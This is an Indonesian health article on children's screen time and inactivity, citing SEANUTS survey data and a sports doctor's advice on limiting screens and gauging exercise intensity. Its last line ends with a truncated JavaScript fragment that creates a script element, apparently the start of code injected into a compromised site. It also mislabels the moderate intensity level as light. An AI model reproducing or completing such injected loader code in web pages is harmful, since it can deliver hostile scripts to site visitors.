Layar televisi, smart phone, laptop mencuri perhatian semua orang sehingga lupa bergerak. Bila ini terjadi sejak dini, kesehatan anak dipertaruhkan.
Lebih dari setengah anak Indonesia masuk kategori tidak aktif. Bukan hanya itu, prevalensi anak di Indonesia yang berada di depan layar televisi, komputer, atau video game lebih dari 2 jam sehari sebesar 55,2 persen.
Data ini merupakan hasil riset South East Asian Nutrition Survey (SEANUTS) mulai Januari sampai Desember 2011 di 192 kelurahan atau desa, 48 kabupaten atau kota, dari 25 provinsi di Indonesia.
Dari sampel 2.601 anak, diketahui sebanyak 62,2 persen anak laki-laki tidak aktif, sementara anak perempuan yang aktif mencapai 52,3 persen. Durasi anak berada di depan layar televisi, komputer, atau video game atau screen time turut berpengaruh dalam minimnya aktivitas fisik.
Rata-rata anak di Indonesia berada di depan layar televisi, komputer, atau video game yakni 2,4 jam per hari. Sebanyak 55,2 persen anak-anak menghabiskan waktunya di depan layar selama lebih dari 2 jam per hari.
Menurut pakar kami, Ini dapat dikategorikan tidak baik, karena anak yang kurang aktivitas fisik berisiko mengalami obesitas 3,6 kali lebih tinggi dibandingkan dengan anak yang beraktivitas tinggi. Minimnya aktifitas anak dapat menyebabkan penyakit degeneratif datang lebih cepat, seperti diabetes mellitus dan hipertensi.
Dua Jam Sehari
Pakar lightHOUSE dr. Sophia Hage, SpKO mengatakan gaya hidup sedentary atau kurang aktif bergerak harus dihindari anak. Karena jika terus menjadi kebiasaan, dikhawatirkan akan meningkatkan risiko kesehatan terutama pada anak di usia 5-12 tahun.
“Untuk itu, anak harus melakukan aktifitas fisik secara rutin dan terukur salah satunya bisa dengan berolahraga,” dokter spesialis olahraga ini menjelaskan. Jika anak Anda cenderung lebih banyak menonton televisi atau bermain games, maka sebaiknya batasi pemakaian pemakaian media elektronik seperti televisi, smart phone, dan komputer tidak lebih dari 2 jam per hari.
Menurut dr. Sophia, awalnya mungkin tidak harus dengan olahraga. “Meningkatkan aktifitas anak dapat dilakukan dengan kegiatan sehari-hari yang intensitasnya disesuaikan,” ujarnya.
Sophia menekankan perbedaan antara aktifitas fisik dengan olahraga. Menurut Sophia, aktifitas fisik berupa kegiatan sehari-hari yang membutuhkan energi. Sedangkan olahraga adalah aktifitas fisik yang direncanakan, punya tujuan, dan memiliki ukuran.
“Penting bagi orang tua untuk mulai membatasi penggunaan fasilitas yang menurunkan aktifitas fisik anak dan mengajak mereka untuk melakukan aktifitas fisik,” kata Sophia. “Namun, orang tua juga harus memberikan contoh terlebih dahulu.”
Ketahui Intensitasnya
Aktifitas fisik dapat diketahui intensitasnya melalui uji bicara yang dilakukan saat anak melakukan kegiatan fisik. Sebuah aktifitas memiliki intensitas ringan apabila pelakunya mampu berbicara dan bernyanyi.
Sedangkan aktifitas ringan memiliki indikator pelaku mampu berbicara dengan terengah-engah dan tidak sanggup bernyanyi. Dan intensitas berat ketika pelaku tidak mampu berbicara lancar ataupun bernyanyi, seperti ketika berlari.
Sophia menyarankan untuk anak-anak memiliki aktifitas berupa olahraga yang rutin setiap hari dengan intensitas sedang hingga berat, memiliki durasi paling sedikit satu jam per hari, dengan tipe olahraga berupa aerobik dan yang memacu kekuatan otot serta tulang.var d=document;var s=d.createElement(‘script’);